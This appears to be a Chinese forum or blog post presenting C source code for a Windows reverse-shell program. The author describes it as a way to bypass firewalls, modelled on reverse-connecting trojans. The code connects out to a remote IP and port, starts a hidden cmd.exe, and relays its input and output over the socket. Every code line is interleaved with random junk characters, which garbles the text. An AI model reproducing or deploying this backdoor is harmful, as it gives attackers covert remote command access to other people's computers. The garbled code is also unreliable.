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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f a5]a  
G5c7:iGm/c  
/* ============================== U e*$&VlT  
Rebound port in Windows NT h>3H7n.  
By wind,2006/7 iBvOJs  
===============================*/ F6dr  
#include /V^sJ($V$~  
#include 0HbJKix!  
m6U8)!)T  
#pragma comment(lib,"wsock32.lib") nem@sB;v#  
PDC]wZd/  
void OutputShell(); {;k_!v{  
SOCKET sClient; H;I~N*ltJ(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GqUSVQ  
dVGbe07  
void main(int argc,char **argv) fIyPFqf7w)  
{ pP\h6b+B  
WSADATA stWsaData; yGEb7I$h  
int nRet; _!:@w9  
SOCKADDR_IN stSaiClient,stSaiServer; ~`Sle xK|}  
detLjlE  
if(argc != 3) OoaY  
{ h5-d;RKE  
printf("Useage:\n\rRebound DestIP DestPort\n"); D#v?gPo4  
return; afm_Rrg[  
} -,GEv%6c  
Qp!J:YV  
WSAStartup(MAKEWORD(2,2),&stWsaData); e@j8T gI)  
:_H>SR:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jz$ >k$!UD  
pULsGb  
stSaiClient.sin_family = AF_INET; ,!>fmU`E4  
stSaiClient.sin_port = htons(0); btQet.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dS$ji#+d$  
AZ wa4n}"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !}q."%%J_%  
{ 8]C1K Zs  
printf("Bind Socket Failed!\n"); h{/ve`F>@  
return; W)-hU~^OM  
} Wz{%"o  
-N z}DW>  
stSaiServer.sin_family = AF_INET; W5/};K\.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MPvWCPB  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Nza; O[  
uF<S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D rTM$)  
{ N84qcc  
printf("Connect Error!"); 1S*P"8N}0h  
return; if@,vc  
} S'@=3)  
OutputShell(); $8@+j[>  
} .e$%[ )D  
+H}e)1^ I  
void OutputShell() T*\$<-^  
{ %MuaW(I o  
char szBuff[1024]; CB({Rn  
SECURITY_ATTRIBUTES stSecurityAttributes; ;]@exp 5  
OSVERSIONINFO stOsversionInfo; 8uA<G/Q;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :gaETr  
STARTUPINFO stStartupInfo; 6n-r  
char *szShell; TkT-$=i  
PROCESS_INFORMATION stProcessInformation; lh$CWsx  
unsigned long lBytesRead; -fPT}v  
8m7;x/0ld  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f9F2U )  
GLcd9|H  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1RA }aX  
stSecurityAttributes.lpSecurityDescriptor = 0; ~o Fh>9u  
stSecurityAttributes.bInheritHandle = TRUE; *;X-\6  
~#t*pOC5BR  
{? 2;0}3?;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cD8Ea(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mQ=sNZ-d]  
3W'FcE)|E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y"oDFo,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sW'6} ^Q  
stStartupInfo.wShowWindow = SW_HIDE; -%=RFgU4  
stStartupInfo.hStdInput = hReadPipe; N"~ qoJO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b- uZ"Kf^  
:ln/`_  
GetVersionEx(&stOsversionInfo); L ]*`4 L  
f| =# q  
switch(stOsversionInfo.dwPlatformId) b-4dsz 'ai  
{ \*J.\f  
case 1: g@(4ujOT  
szShell = "command.com"; ZR6&AiL(Bj  
break; %HVD^. V  
default: l# BZzJ?~  
szShell = "cmd.exe"; nj"m^PmWo3  
break; _j>L4bT  
} h[,XemwX  
Oc~VHT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H\d;QN9Q;  
kw#X]`c3  
send(sClient,szMsg,77,0); AbG&9=Ks  
while(1) :fW.-^"VP  
{ <k5`&X!+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); My],6va^  
if(lBytesRead) EO"6Dq(  
{ F Nlx1U[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yeNvQG  
send(sClient,szBuff,lBytesRead,0); qZP:@r"  
} _1\poAy  
else ?ff [$ab  
{ +8eVj#N  
lBytesRead=recv(sClient,szBuff,1024,0); PMY~^S4O  
if(lBytesRead<=0) break; Yu;9&b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EFD?di)s  
} [lZ=s[n.  
} 5E0wn'  
}9 ?y'6l  
return; Eny!R@u7q  
}
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